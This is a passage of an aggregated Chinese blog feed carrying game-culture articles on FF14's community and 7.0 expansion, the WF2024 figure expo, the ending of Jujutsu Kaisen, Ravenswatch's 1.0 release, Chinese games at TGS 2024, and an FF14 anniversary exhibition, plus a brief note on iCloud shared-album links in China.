不同于其他MMO中常见的“师徒”或是“战友”系统，FF14里的指导者和豆芽之间并没有绑定关系，理论上新人可以向任意一个带有导师标识的玩家求助，而即便是非导师身份的老玩家，通常也会对豆芽表现得更加包容和友好。
这最终形成了一种无所不在的氛围——几乎每个豆芽都会在进入游戏的前几天遇到被热情的老玩家追着互动、塞游戏币和各种小道具、传授各种经验的情况。而受到帮助的新人玩家在自己逐渐成熟的过程中，通常会将这种做法传承下去。
为了在游戏中构造这种氛围， 制作组几乎到了“走火入魔”的地步。
一个典型的例子是游戏2.0版本有个叫做“天幕魔导城最终决战”的副本，差不多是新人玩家会遇到的第一个大型副本，有一定挑战难度，更重要的是包含有着相当长的过场动画，光播片就有个近半个小时，且不允许所有玩家跳过。这个副本也因此被称为“动画城”。
你很容易想到制作组为什么要这么做——让第一次攻略这个副本的新人不会被其他玩家催促着跳过这些动画，从而真正沉浸于剧情之中。
且为了保证新人可以尽快匹配到队友来一起打这个本，“动画城”还是游戏内最高效获得角色经验的渠道之一，有练级需求的老玩家们三天两头会排到这个本。
所以你也很容易意识到这个设计所带来的一些负面体验——第一次打这些本的纯新人玩家终究是少数，每天为了练级而在这个本里相逢的才是大多数，但大家仍旧要一遍遍地看这些动画。
这样的做法看起来有些呆板，但说到底，谁不会经历新人阶段呢？
反过来说，这也成为了一种筛选，就是只有认同这种对新人友好的价值观的玩家，才更有可能留在这个游戏里。最终，形成了当下FF14独一份的社区环境。
2
很少有游戏能像FF14这样，常态化地举办线下活动。
不久前的8月，FF14在广州举办了线下粉丝节。为期两天的活动，入场门票一票难求，想获得购买资格都得先抽签。
接下来的10月至11月期间，在我们游研社运营的上海音数协游戏博物馆，也将进行FF14国服10周年展。活动公开当晚，来报名的玩家把我们服务器都给冲宕机了。
扫描上图的二维码也可以免费预约报名这次展览，无需购票
更早时候的2022年，FF14主题的海德林咖啡餐厅就已经在上海大丸百货开张。在那个“二次元拯救线下商场”的概念尚未兴起的时间点，就已经成为了当时国内少数的游戏爱好者朝圣地，至今每天都要提前预约才能顺利就餐。
值得一提的一点在于，不少玩家并非只是偶尔慕名去这个咖啡餐厅参观一次，而是会定期前往，比如游戏内有新内容上线、餐厅举办新活动或是自己生日以及和朋友聚餐时。
支撑这一切的基础，当然首先是FF14在国内的玩家基数足够多。但玩家数量比FF14更多的游戏也不少，却很难找出第二个类似的例子。
能形成这样的环境，离不开像上面提到的，FF14的制作组会非常明确地通过游戏内容来传达一些价值观，包括 “要对新人友好”，具体到游戏剧情里那就还有更多像是“要对朋友忠诚”“要用同理心去看待他人”等等。
许多其他游戏当然通常也会包含类似的剧情，但几乎再没有哪个游戏会在系统层面去贯彻这些价值观，那么功利型玩家最终就一定会占环境中的大多数。
唯独FF14，确实是在试图营造一个“理想乡”。玩家们也自然会期望这种氛围冲破虚拟世界，来到线下成为现实。
除了上面这些有官方参与主导的活动，FF14玩家也是我见过的在现实中举行主题婚礼最多的玩家群体，几乎是养起了一个产业垂类。
能做到这一点也离不开游戏里有着非常完整的婚礼主题活动，流程包括预约教堂、筹备和邀请嘉宾，再到婚礼正式举办，都有了完整的“打样”，由此描绘出FF14玩家理想中的婚礼场景，大家自然也更愿意将其搬到线下。
疫情期间则是有不少玩家选择在游戏中举办婚礼，来替代现实婚礼
还是那句话，因MMORPG结缘并在现实中走入婚姻殿堂的案例向来也不少，但能像FF14这样在一定程度上形成常态化现象的，就完全是另一码事了。
所以回头来看，十年前我朋友说的那句 “现在是FF14最好的入坑机会”，当然也不是一句谎言。这句话的背后，代表着更早体验到波澜壮阔的冒险剧情，更早结识志同道合的朋友，以及这一切可能给现实生活所带来的积极影响。
3
既然如此，那为什么又要说现在的7.0是最好的入坑机会呢？
最重要的一点，当然是游戏的故事在十年之后，终于进入了一个全新的篇章。
FF14的成功又离不开游戏在故事和角色方面的塑造，上面提到的“动画城”，就也是游戏对剧情演出重视度的一个侧面，再没哪个MMORPG会像这样动则十分钟地给玩家播片的了。
从MMORPG的角度而言，这确实是一柄双刃剑。
FF14的2.0至6.0版本，主线部分实则讲述的是一个完整的故事。玩家要是跳过旧版本之间去体验最新内容，基本就属于放弃了游戏中的一大部分乐趣了，几乎也不可能再去参与那些玩家社区互动。
众多角色都是在漫长的故事线中得以逐一塑造，呈现多个侧面
这个讲了十年的故事当然也不是时时刻刻都精彩，只是玩家要想在这场冒险的最后体验到最精彩的高潮，就也不得不忍受其中冗长多余的部分，这是阻碍不少玩家入坑的门槛之一。
直到现在的7.0，故事终于来到了一个新阶段的起点，冒险者们踏上前所未知的新大陆。如今新玩家们确实可以直接去体验最新的剧情故事了，它们和之前的版本剧情没有太多直接的联系——当然，如果你愿意去补那些旧内容，依旧能获得更好的体验。
终于放假了
实际上目前7.0版本的剧情在玩家间有些褒贬不一。主要是在老玩家看来，7.0的故事似乎有些“工业化”，只是用新角色来演了一遍和曾经有些类似的剧情，以至于目前风评最高的新角色是一个反派蜥蜴，因为它的言行举止至少更有个性，而不是以往某个人气角色的翻版。
但如果你是个不了解FF14以往故事的新玩家——那7.0的剧本就是FF14过去十年创作经验所沉淀出的精华，代表着老练的叙事、精准的节奏把控、恰到好处的煽情……
除了剧情，游戏的画面和模型进度也随着这次版本更迭迎来了大更新，一定程度上减轻了“古早味儿”。再加上新职业绘灵法师和蝰蛇剑士，包括副本添加的新机制，游戏里的可玩性内容还是增添了许多，足够给新老玩家们都带去新鲜感。
当然，也带来了更多出自本土社群的新梗
FF14还能再运营10年吗？这个问题目前大概也没人能回答，但可以确定的是，游戏确实迎来了一个比10年前更好的新开始。
结语
前段时间，《任天堂明星大乱斗》的制作人樱井政博出了个视频向玩家们道歉，说自己的游戏占据了玩家们太多的时间，大家本可以用这些宝贵的时间去体验其他有意思的事。
实际在更早的时候，FF14的制作人吉田直树就在采访中阐述过类似的观点：“现在大家都很忙，每个人都有许多不同的占用时间的爱好。”所以他觉得一个游戏不应该想方设法去占据玩家的所有时间。他的设计理念，就是让玩家在玩过FF14每次更新的内容之后，就可以毫无包袱地去做别的事；如果再想回到FF14，也可以很轻松地回归并赶上其他人。
在那个行业里人人都在讲DAU讲用户黏性的时代里，这样的理念显得很异类，但吉田直树觉得，正是因为保持了这一特点，FF14才会成长为今天这样。
这种“拧巴劲”大概确实是日本游戏制作人一种相对独特的设计个性，甚至可能是起初日系MMO就是做不成的原因之一。
但事实最终也证明了，当你在设计游戏时留给玩家们更多关注自己生活的空间，玩家们就也会在自己的现实生活中，给你留出更多的位置。
- 博客 游戏研究社 2024-10-03 11:50:00
10月2日至10月3日，由B站独家承办的手办模型展Wonder Festival 2024（以下简称“WF2024”）在上海新国际博览中心举办。作为全球最大规模的手办模型展，今年的WF2024在展商数量、当期版权、嘉宾展品数量等方面均创下历届之最，两日内线下参展人次超10万。
创立于1984年的WF一直深受全球手办模型爱好者欢迎，展会于2018年走出日本来到上海，开创了国内同类展销会首届观众数之最。今年1月，B站宣布与主办方、日本知名玩具制造商海洋堂达成合作，获得WF中国大陆地区独家主办权。
本届WF在整体规模和展会策划上均实现了全新突破，门票也首次实现提前售罄。据统计，WF2024吸引超300家知名手办模型企业参展商，同比去年增长超60%；个人创作者展商数量也突破千名，同比去年增长50%以上，还有十万余件手办展品重磅亮相展会。参展观众纷纷表示“逛不完真的逛不完”，多款价值上万元的手办模型在开展没多久便已售罄。
为了让观众获得更丰富的逛展体验，B站联合头部模玩展商举办了超20场专属活动。其中包括与万代、良笑社（Good Smile Company）等行业标杆品牌深度合作，为模玩爱好者特别推出万代高达45周年纪念特展、GoodSmile特展等限定内容。其中，部分高达人气新品于中国内地首次展出实物；GoodSmile特展中，标志性粘土人系列按编年史展出，数量高达千件，本次特展也见证了这个人气系列的发展史。
在嘉宾方面，WF2024特邀16位行业重磅嘉宾登台，数量同样创下历届之最。除了海洋堂现任社长宫胁修一，海外原型师黏土星人、高木亮、石长樱子、大山龙、山口胜久之外，嘉宾阵容还涵盖概念设计、数字雕刻、机械设计、IP创意开发等专业领域顶尖艺术家。
此外，“当日版权制”也是WF一直以来的重要特色，即原型师可以在展会期间展示与贩卖开放版权IP相关的手办模型，从而提高原型师的创作积极性，并推动行业发展。WF2024与奥特曼、初音未来、Fate、碧蓝航线、明日方舟等近60个超人气IP达成了当日版权合作。其中，B站也领衔开放自身版权，联合国内超30个IP共同扶持创作生态。
Ｂ站是中国最活跃的手办模型兴趣社区之一，也是年轻人聚集度最高的互联网社区。今年是WF诞生的第四十年，B站的加入，也将持续提升WF在中国的影响力，让中国的爱好者们能有更多机会接触到优秀的模玩作品以及创作者们。
- 博客 卢昌海的个人主页 2024-10-03 08:48:00My latest post on Threads
- 博客 61's life 2024-10-02 23:28:0413
- 博客 游戏研究社 2024-10-02 12:30:00
相较于过去一年的热闹非凡，《咒术回战》如今的完结实在是来得有些平淡。
哪怕是从来没有看过《咒术回战》漫画的网友，想必最近这一年应该也听说过“会赢的”“我打宿傩？”这类泛滥成灾的网络热梗。从象征着“无敌”的五条悟被宿傩一分为二的那一刻开始，《咒术回战》在网友们的恶搞与解构中愈发破圈，骂的人越来越多，看的人也越来越多。
本该将气氛推向高潮的最终决战被反复拖长，这部漫画便也不可避免地朝着烂尾的深渊无限滑坡。不少读者追更的动力早已不是欣赏精彩的剧情，而是想看看作者芥见下下还能不能再整点大家都没见过的活。
但在6年连载的尾声部分，《咒术回战》的谢幕却显得有些乏味且无趣。没有惊喜，也没有意外。
1
如果要在一切结束之后对《咒术回战》的整体表现下个判断的话，相信多数读者应该都不会给出积极正面的评价。
“不知所云”是《咒术回战》通篇看下来最大的问题。尽管芥见下下早在「涩谷事变篇」结束时就已经向读者们传达了“接下来还有两个大型篇章”的信息，但以「死灭回游篇」和「新宿决战篇」的发挥来看，芥见下下还是没能摆脱“想到哪画到哪”的毛病。
作为典型的“点子型漫画家”，芥见下下的能力在《咒术回战》的前期显露无疑。
拉风时髦的角色，不明觉厉的设定，在这套反传统反王道的故事背景下，确实催生出了一系列奇妙的化学反应。往大了说，咒术界千年前的恩怨足以吊起读者的兴趣；往小了说，“咒力”、“领域”这些概念的运作原理也令人好奇。
以第一次拉下眼罩展开领域的五条悟为例。读者这时候根本不需要搞懂眼罩的作用，也不必深究手势的含义。光是“无量空处”这四个意义不明的汉字摆出来，《咒术回战》的逼格就已经开始朝着它的前辈《死神》不断靠近。
在风评不错的「涩谷事变篇」中，芥见下下展现出了他精心编排多线叙事的能力。不同角色的出场时机，战败溃逃后的蝴蝶效应，都在万圣节前夜的涩谷汇总聚集。
其中作为间奏篇章登场的「怀玉•玉折篇」，三言两语便将五条悟成为最强和夏油杰叛逃的故事描绘地深入人心。时至今日，活在回忆里的夏油杰依旧享有不俗的人气。
《咒术回战》的大框架，建立在一套又一套“逻辑自洽的小规则”的基础之上。芥见下下很擅长将这些规则以花样繁多的设定包装起来，角色之间的强弱区分，不同能力的克制关系，都在作者搭建的这套规则体系中保持着微妙的平衡。
可是包装一旦松散，平衡一旦倾斜，空洞无物的内核便会直观地摆在读者面前，难以自圆其说，也无法令人信服。直到漫画完结，芥见下下也没有向我们展示千年前的咒术盛世究竟长什么样子，也不肯告诉我们咒术高专到底能教会学生哪些知识。
其实在「新宿决战篇」沦为网友们日常调侃的笑柄之前，「死灭回游篇」就已经暴露出了相当严重的问题。在这个篇章中，芥见下下丧心病狂地堆砌复杂的规则与设定。看上去似乎是想致敬富坚义博的经典名作《全职猎人》，不过呈现出的效果只能评价为拙劣的模仿。
而落实到具体的关键战斗，「死灭回游篇」的观感就像漫画中的概念“反转术式”一样，有些过于追求情节上的“反转”了。不管是胜券在握之际突发恋爱脑强行降智的来栖华，还是吊足了大家的胃口最后却草草收场的九十九由基，芥见下下总能在至关重要的场合粉碎读者们的预期，以出人意料的方式进一步拉长漫画的生命周期。
实际上，相当一部分长篇连载漫画在结尾部分或多或少都会出现类似的问题，但如果故事发展至高潮，决战的氛围被推向顶点，相信多数读者还是愿意暂时忽略这些毛病，静下心来认真欣赏精彩的剧情。
然而《咒术回战》问题在于，这部漫画的决战部分并不精彩，甚至可以说是无聊透顶。
2
或许看热闹的围观群众会在《咒术回战》完结之际感慨，吃了这么久的瓜怎么突然就没得吃了；而一路看过来的读者恐怕只会在心里默默吐槽，这部早该完结的漫画怎么拖到现在才潦草收场。
在五条悟被腰斩火爆出圈之后，芥见下下安排了一场时间跨度长达一年的宿傩车轮战。就跟拼多多砍一刀一样，五条悟砍掉了宿傩99%的血条，剩下的1%足足砍了一整年，最后在老用户回归加成的帮助下总算是砍死了宿傩，不知道的还以为这最终BOSS是活活累死的。
明眼人都看得出来，如果主角团这边能在开战前多做点准备，或者把最后这场决战稍微延期几个小时，再不济开战后大家一起上，都不至于打得这么狼狈。
但芥见下下路径依赖般的创作习惯，决定了这部漫画必然会在“前一话还是我方优势，后一话立马反转”的固定套路中反复消磨读者的耐心。
当成堆的出场角色和麻烦的基础设定变得越来越繁琐，芥见下下便也逐渐丧失了驾驭这部作品的能力。吃书成为常态，剧情BUG全靠事后打补丁，顾头不顾尾的处理让故事愈发诡异，还在坚守的粉丝也只能失望离去。
最直观的例子便是，在236话中惨遭腰斩的五条悟，作者直到半年后的255话才向读者阐明了宿傩释放瞬发空间斩的原理。事后打补丁的行为并不能为自称“最强”的五条悟找回颜面，反倒只会让这段剧情杀显得更加滑稽。
而到了269话，整部漫画的倒数第3话，来不及打补丁的芥见下下干脆开了场复盘大会——准确来说应该是分锅大会，以剧中角色的口吻尽力向读者解释最终决战留下的诸多矛盾，全篇充斥着“早这么打不是早就打完了吗”之类的马后炮言论。
且不谈这宛如国足0：7惨败日本的赛后发布会一般的景象究竟该不该放在倒数第3话的位置，至少芥见下下的偏执已经被大家当成了“亲自下场与读者对线”的证据，类似于“既然大家都在骂我挖坑不填，那必须得专门用一话的内容补充设定”的逻辑。
五条悟展开的无量空处能让宿傩受到重创，而同样吃下这招的伏黑却只是留下了“头还有点晕”的后遗症
复盘和补充设定当然没有问题，只是漫画这一载体的表现形式不该如此生硬。事到如今再把这些内容摆在读者面前，恐怕大家也只会在无言以对之余认真复盘自己当初是不是不该翻开《咒术回战》的漫画。
最终回271话中，《咒术回战2》的消息并没有出现，有的只是一大堆没交代清楚的设定，以及一些充斥着“最终回氛围”的分镜与对白。
只构思了结果，却不去打磨过程，「新宿决战篇」混乱的观感源于机械降神式的情节编排。剧情推进拖沓，角色毫无成长，读者们看不懂芥见下下到底在画什么，而芥见下下自己，或许也没想清楚到底该画什么。
3
在《咒术回战》第0卷的卷尾后记中，芥见下下提到了自己的创作理念，即“动笔之前不会决定主题，而是先画出自己认为有趣的小片段”。
这样的创作理念对《咒术回战》的粉丝来说应该不算秘密，因为芥见下下本人曾在公开访谈里多次提及。相较于严丝合缝的剧本，他追求的是更加戏剧性的内容与剧情。
“不会优先考虑剧本，而是提前准备角色”
经常有人会说“火的不是《咒术回战》而是五条悟”，这其实也是“角色先行”所带来的红利。如果芥见下下能做到全程高潮不断，把自己脑子里天马行空的想法事无巨细地全部摆出来，也许我们会久违地见证一部口碑销量双丰收的漫画迎来完结的那一天。
但芥见下下做不到，又或者说，他不想做到。
在整部作品的后半段，芥见下下存在一定程度的摆烂嫌疑。这一点，光是从他画出来的画面就能看得一清二楚：
通常来说，漫画家的画功会随着连载时间的推移逐渐精进，这其中固然存在助手变更产生的影响，不过漫画家本人的画功再怎么说也不可能开倒车。
而芥见下下在漫画后半段展现出的水平，与其说是开倒车，倒不如说是换了个人来画。糟糕的透视关系、滥用的速度线、混乱的分镜、脏乱差的画面……与早期的表现天差地别，完全不像是出自同一位漫画家之手。
客观来说，后期的《咒术回战》在动作和人体的处理上更显老练，很多毛病要么是时间不够，要么就是敷衍了事。周刊连载的辛苦程度人尽皆知，芥见下下在「死灭回游篇」后半段也开始频繁休刊，我们确实有理由相信，紧缺的时间是把漫画画得更好的最大阻力。
芥见下下完成一话（19页）原稿耗时5天左右
然而我们也可以看到，《咒术回战》的漫画总销量破亿，卷均销量更是达到恐怖的300万+。在家躺着数钱都数不完的芥见下下究竟还有没有动力完成身为漫画家的义务与职责？答案也许只有他自己明白。
4
在《咒术回战》完结前夕，与《咒术回战》同样连载于《周刊少年Jump》的漫画《不死不幸》突然开始剧情加速，由里到外透露出一股完结在即的氛围，吓得各位粉丝担心这漫画是不是被迫面临了提前完结的窘境。
漫画顺位连续两周处于垫底水平
《不死不幸》大概是一部完美符合人们对《周刊少年Jump》预期的漫画。它的整体风格有些像上世纪90年代的漫画，在今天看来又土又燃，伏笔回收得当，剧情展开王道，是一部符合“努力、友情、胜利”三要素的标准作品。
勤勤恳恳不作妖，最后的结果就是被大家遗忘在角落。《不死不幸》沦落到今天的地步，不怪作者，也不怪读者，只能怪大众的审美是真的变了。
爆点要鲜明，节奏要飞快，不然怎么跟得上如今的时代。放弃定式的创作不一定能大获成功，但循规蹈矩的创作大概率只会死得更惨——《周刊少年Jump+》里越来越多模仿藤本树风格的“邪道”漫画家，都在身体力行地作证这个道理。
“受藤本树影响的漫画太多了，全是这种风格的话容易腻”
在日本，《咒术回战》被定义为“黑暗•幻想•战斗”题材的漫画。芥见下下摒弃了传统的王道叙事，糅杂了诸多前辈的长处，打造了这部毁誉参半的作品。
往好了想，《咒术回战》是芥见下下的第一部长篇连载漫画。经验不足是可以原谅的问题，读者们这6年来的批评指正对这位32岁的年轻漫画家来说必可活用于下次。
前提是已经实现了财富自由的他还想继续画漫画的话。
- 博客 61's life 2024-10-01 21:51:2315
- 博客 KAIX.IN 2024-10-01 12:06:11
我一直和家人使用 iCloud 共享相册来备份一些合照，每个人用自己手机拍摄的照片汇总起来就有了更完整视角的记录，它又不占用自己手机和 iCloud 的空间，所以算是挺实用的方法。而且，如果想把共享相册临时分享给其他人查看，只需打开相册的公共网站开关，就能得到一个网址，通过浏览器就能查看相册。前几天有这样的需要，于是复制了链接发过去，结果对方反馈说浏览器里显示的是 iCloud 找不到该网页。我这才后知后觉地知道，原来早在 2022 年就有网友发现「由于当地法规，这个功能在中国不再可用」了。
fin.
- 博客 61's life 2024-09-30 23:29:4517
- 博客 游戏研究社 2024-09-30 11:40:00
当小众的思路，遇到大众的关注。
9月26日，动作肉鸽游戏《鸦卫奇旅》（Ravenswatch）结束了EA抢先体验，迎来了1.0版本更新。
为了打造这个完整的版本，制作组花了近一年半的时间。作为独立游戏，《鸦卫奇旅》刚刚EA发售时的成绩可以说毁誉参半——游戏底子很好，但内容少得可怜。或许从首发玩家的视角来看，这一年多的等待像看制作组从地基打起，逐渐盖出一栋五脏俱全的小屋。
发售当天的差评率很明显
有必要先交代一下，《鸦卫奇旅》的制作组Passtech Games算得上业界老手，不少人也是看在他们前作《无间冥寺》的好口碑而来。
有实力的同时，Passtech Games也是一家很有个性的制作组。
《无间冥寺》就是个很好的例子，它在一票地牢肉鸽游戏里显得与众不同，至今我对那款作品的印象，可以概括为“有开拓性又十分压抑”。
开拓性是说它的打击感上乘，肉鸽游戏通常会在内容量上做文章，但《无间冥寺》反倒很在意打击感，还加入了弹反、连携技这类动作游戏的设计，拔高了战斗的上下限；
《无间冥寺》游戏画面
而另一部分的压抑，主要来自里面压力值的设计，基本玩家的任何行动都会提升压力，压力值每满一次就会获得一个debuff诅咒，还专门配了一段主角痛苦惨叫的动画，导致有时我明明无伤通关，但一看动画总感觉自己犯了什么错，复盘后又说不出错在哪。
在普遍追求爽感的动作肉鸽游戏里，上述设计多少有些不走寻常路，能适应的人玩起来就会很爽，反之则会觉得过于受苦。
如今《鸦卫奇旅》虽是另起炉灶，其实也从前作继承了不少东西，最终成品也和相对流行的肉鸽游戏相差甚远。
有别于《黑帝斯》一类游戏把地图切成小房间，《鸦卫奇旅》是在几张完整的大地图上探索，击败关底BOSS以推进关卡，目前总共有三张风格迥异的地图。玩家要四处打怪刷经验升级，提升属性的同时不断学会新的天赋，ARPG的味道非常浓厚，有些像一个迷你版的《暗黑破坏神》。
不过这种相像仅限局内，《鸦卫奇旅》的局外成长颇为朴素，仅仅是另设了一套人物等级，升级并不影响人物属性，也不会解锁任何道具，只是单纯解锁新的天赋供局内选择。
游戏的前十个小时里，相比于寻找Build，游戏最大的乐趣可能更多源于养成。一路更新下来，游戏累计实装了9个英雄。不仅是英雄之间玩法差别很大，同一个英雄点出不同的天赋，打法也会大相径庭，单独算作一个RPG游戏也没什么问题，再加上各类收藏品，终于弥补了前作可玩性不足的遗憾。
甚至还有孙悟空，强度也是T0级
例如这次1.0版本新加的吸血鬼英雄，她的技能可以点出击杀吸血的效果，保证长久的续航，也能改造原本的技能定位，乃至把保命用的防御技能变成主要输出，这也仅是我十多个小时内浅试出的两种套路，相信之后还会有玩家继续开发。
如果此前你恰好体验过《无间冥寺》，在游戏的头几个小时内，不难发觉一些眼熟的设计。
例如《无间冥寺》里影响玩家属性的明暗环境，到《鸦卫奇旅》成了轮替的黑夜与白天。里面的第一个人物小红帽，就像专门为这项机制设计的教学人物——白天小红帽会维持人形，是一个敏捷的技巧型刺客；到了晚上会变成大灰狼，整套技能也随之变化，成了能回血的群攻狂战士。
游戏剧情融入了许多童话故事，不过是残酷路线
而让玩家在成长与代价间不断权衡的压力值，则变成了倒计时。
前文说《无间冥寺》的压力值设计很搞人心态，不过多打几盘就能发现，“诅咒”其实是纸老虎，真正想变强就得当断则断，精打细算去控制压力反而很憋屈——玩家的体验好坏，在于能否勇敢迈过“诅咒”这个坎儿，愿意大胆凑出自己的Build。
而在《鸦卫奇旅》里，这道坎儿的压抑程度又进了一步——“时间”成了一项有限的资源。按照一般的标准模式游玩，游戏会设立一个倒计时，计时结束就会被传送到BOSS战。
其实这个设计直到现在也存在争议，一方面它强行固定了游戏节奏，还让玩家能获得的成长极不稳定。
玩家一旦在某个环节出现失误，时间便会被白白浪费，意味着角色成长有了空缺，之后的战斗可能会很吃力，再加上《鸦卫奇旅》人物的机动性都偏低，玩家注定无法清空整张地图，遇到偏好走完每个房间的肉鸽玩家，自然总感觉哪里不对。
恰好此次1.0版本新增的最终BOSS，只会在高难模式出现，如果想要较为顺利攻克，玩家必须充分规划时间的用法，频繁做出抉择：什么怪经验多值得打，哪个任务奖励好值得做，道具和天赋该怎么选……
有一个系列任务是帮三只小猪盖房子
这些因素一块端到玩家面前，结果就是整个游戏很难说轻松，加上游戏实际很注重动作元素，对操作的要求不低，导致玩家组出强力Build前，需要时刻紧绷神经，甚至即使是天胡局也要认真谨慎。
更直白来说，《鸦卫奇旅》的内容如今做得很扎实，但它的乐趣源于挑战性，需要谨慎的抉择和操作，不像《黑帝斯》一类游戏有着很低的门槛，并非一些玩家以为的简单“爽游”。
官方设计倒计时的心思倒也可以理解，毕竟在不限时的情况下，任由玩家把每张地图完整探索完，角色强度提升会非常明显，形成数值上的碾压，反倒更符合一些玩家渴望的爽，相应则是游戏失去了挑战性。
有Build或者等级碾压，一两个技能秒BOSS都是常事
不过在游戏最初的EA阶段，内容量严重匮乏的时候，倒计时反倒有刻意遮掩的嫌疑——一张地图的体量也就那样，玩家开上一两把也就理清了，结果因为倒计时反倒玩了很久，本来想夸游戏做得不错，但事后一想才发现上当了。
好在官方后来也听了意见，给了玩家一系列自定义选项，玩家可以直接取消倒计时，也能按自己想法给关卡上强度。不过之所以敢这么改，大概率还是因为内容量上去了，能满足各类玩家的需求。
玩家现在可以花式降低关卡难度，也可以想尽办法挑战自我
说到底，制作组对挑战性的追求，人们希望玩肉鸽就是要爽，很难说哪一方有错。
或许问题还是出在《鸦卫奇旅》从零到一的EA计划，玩家当初明白游戏的质量过关，但难看出制作组之后想走怎样的路线。
这么想来，人们在EA阶段买游戏，也像是在刮彩票，奖池里除了根本做不出来的半成品，也有很多像《鸦卫奇旅》这样的大奖，只是兑奖的时候需要更多的耐心。
好在这次更新来看，《鸦卫奇旅》的内容较为完整，只是游戏的玩法没走大众路线，但本身质量过关。除此以外，官方也表示游戏没打算止步在1.0，对于希望在快节奏肉鸽动作游戏中追求挑战的玩家来说，值得一试。
- 博客 游戏研究社 2024-09-30 11:30:00
越来越多的视线聚焦在国产游戏上。
9月29日，一年一度的东京电玩展（简称TGS）落下了帷幕，虽然此前TGS的名号是“亚洲最大游戏展会”，但如今已经是世界级的展会，参展的厂商和观众基本覆盖了全球。
根据TGS官方公布的数据，今年参展的公司和团体共有985家，分别来自44个国家和地区，搭建的展台数量超3200个，均创下历史新高。
TGS今年的视觉图
值得注意的是，今年的TGS虽然照例在日本举办，但参展的本土厂商数量为450家，海外展商数量却高达535家，其中有近80家来自中国。
从1996年起，TGS到现在越办越红火，有展会本身和业界一同进步的原因，也有了更多的外部因素。例如自“游戏展三巨头”之一的E3消失后，供业界厂商展示的窗口变少，但也相应让厂商们省了些气力，能更好地为高质量展会集中精力，也算变相提升了其余老牌展会的含金量。
不过除了各路厂商的播片画饼，今年展会最值得一谈的，是展会上国产游戏的亮眼表现，不仅参展的游戏类型也丰富了不少，各家国产厂商的展台都有很高人气。
比如从TGS官方直播的画面里，国产主机游戏《影之刃零》的展位前，每天的人流都是摩肩擦踵的程度，即使到了最后一天，人气也依然居高不下。
TGS官方直播上《影之刃零》成了展会热点
鹰角网络的《明日方舟：终末地》则是代表之一，试玩展台基本全程排满了人，到了领取周边的时候，长长的队伍更是排得水泄不通。
twi@ArslanTheJester
鹰角网络另一款参展作品《泡姆泡姆》的展台前
值得一提的是，《明日方舟：终末地》今年不仅在展会上大受欢迎，还在“日本游戏大赏”中赢得了一项特别奖项。
有别于其他展会，TGS从1996年起除了举办大型展览，还会顺带举行“日本游戏大赏”，可以简单理解为日本游戏行业自己的TGA大会。
大赏中有一项特别颁设的“未来期待奖”：获奖游戏由玩家投票选出，竞选对象都是还未上市、但已经展现出足够质量与人气的游戏。
颁奖典礼现场直播画面
这个奖项虽然主要由玩家投选，但获奖难度并不低。例如在奖项开设的第一年，名额基本被日本头部游戏公司包揽，基本每一个产品的体量和人气都不低。
而今年的“未来期待奖”，鹰角网络的《明日方舟：终末地》榜上有名，成了十位获奖者里唯一的中国国产游戏——甚至还是唯一的非日本本土游戏。
其余9个获奖游戏均来自知名日本厂商
《明日方舟：终末地》官方也发表了庆贺动态
在当天，鹰角网络的联合创始人海猫络合物亲自登台领奖，在近一个半小时的颁奖典礼上，全程所有人都是日文致辞，海猫也成了其中唯一用中文致谢的代表。
今年同期获奖的游戏中，依旧不乏许多实力选手，例如有日本国民级IP加持的《勇者斗恶龙3重制版》；Atlus备受关注的《暗喻幻想》；以及卡普空招牌的《怪物猎人：荒野》……换句话说，《明日方舟：终末地》此次入选，是完全作为“全平台游戏”（主机/移动端）和友商们站在了同一个位置。
作为日本游戏产业的奖项，“未来期待奖”的评选对象通常偏向日本本土游戏，多少有几分给自家产业做宣传的意味。但在这样的门槛之下，《明日方舟：终末地》此次获奖也一定程度上代表了海外玩家及行业人士对中国游戏的认可程度愈发提高。
当然，这次《明日方舟：终末地》入选，除了人们对产品质量的认可外，也离不了鹰角网络这两年多线产品的耕耘和海外发行上的努力。毕竟这种涉及玩家投票的评选，也多少包含了对企业形象的考量，会受到“品牌效应”的加成。
而鹰角网络能有这份“品牌效应”，除了旗下的《明日方舟》在日本市场表现一直不错以外，其海外游戏发行品牌「GRYPHLINE」也有加持。立足于目标市场的本土用户，鹰角网络为后续全球化发行的游戏（《明日方舟：终末地》《泡姆泡姆》等）提前建立了业务支持。
我们也可以看到此次《明日方舟：终末地》参选对应的厂牌名是「GRYPHLINE」
与此同时，随着近几年越来越多的国产游戏出海探索，海外市场最近几年对国产游戏的改观，也不仅仅局限于一家公司，而是越来越作为一个整体产业，国产游戏的“海外热”也不是昙花一现，并不局限于TGS一场展会。
例如在今年早些时候，著名的欧洲德国科隆游戏展上，中国游戏的展区就引起了不小的关注，参展游戏的生态已然称得上百花齐放。从展台的装潢，到游戏内容，许多地方已经是有过之而无不及。
《解限机》每场展会都有的巨型机甲，现场观感确实震撼
比较关键的一点，是国产游戏的“出海热”并非孤军奋战，而是能形成足量的规模，覆盖多个赛道与游戏类型，有了摆脱“偏科发展”的迹象。
《明日方舟：终末地》在科隆游戏展上的画面
而在如今的TGS上，甚至可以说整场展会不少的热度与话题，都离不开中国厂商的身影。例如“PS之父”久多良木健在主题演讲中宣布，《黑神话：悟空》首月销量已经突破2000万份，又一次官方认证了国产游戏的光辉成绩。
过去海外市场对国产游戏的目光，可能还多停留在移动端游戏上，毕竟在这个领域，国内富有经验的团队们踏出了国产游戏出海的第一步。而如今的TGS上，我们发现更多的跨端乃至纯主机产品正在受到瞩目，这也让更多不同体量的国产团队得到了此前从未有过的曝光。
各种类型、不同平台的游戏都在国际视野下齐头并进，是给如今国产游戏们最好的注脚。
- 博客 61's life 2024-09-29 22:57:2820
- 博客 见字如面 2024-09-29 15:20:13马克·吐温曾说过：“历史不会重复，但会押韵。” 在 23 年初 AI 势头最火热的那会，我写了一篇《AI 会取代人类的工作吗》的文章，那篇文章里总体对 AI 的出现与未来还是持开放态度的，比如我觉得之后会有很多 …
- 博客 KAIX.IN 2024-09-29 12:16:11
- 博客 游戏研究社 2024-09-29 11:10:00
10月5日至11月3日，中国音数协游戏博物馆将联合盛趣游戏与史克威尔艾尼克斯，正式为光之战士们带来属于国服玩家们的线下展览活动——《最终幻想14》国服十周年展览。
2014年8月25日正式开启开放性测试的《最终幻想14》（后文为FF14）国服，今年迎来了它的十周年。在游戏十周年之际，盛趣也在今年8月为FF14国服在广州举办了「Fanfest 2024」，是继2019年上海线下粉丝节后时隔五年再次举办的线下粉丝节活动，国服的7.0版本“金曦之遗辉”也于昨日正式上线。
10月5日至11月3日，中国音数协游戏博物馆将联合盛趣游戏与史克威尔艾尼克斯，正式为光之战士们带来属于国服玩家们的线下展览活动——《最终幻想14》国服十周年展览！地点位于上海市徐汇区桂箐路65号新研大厦B座3楼。
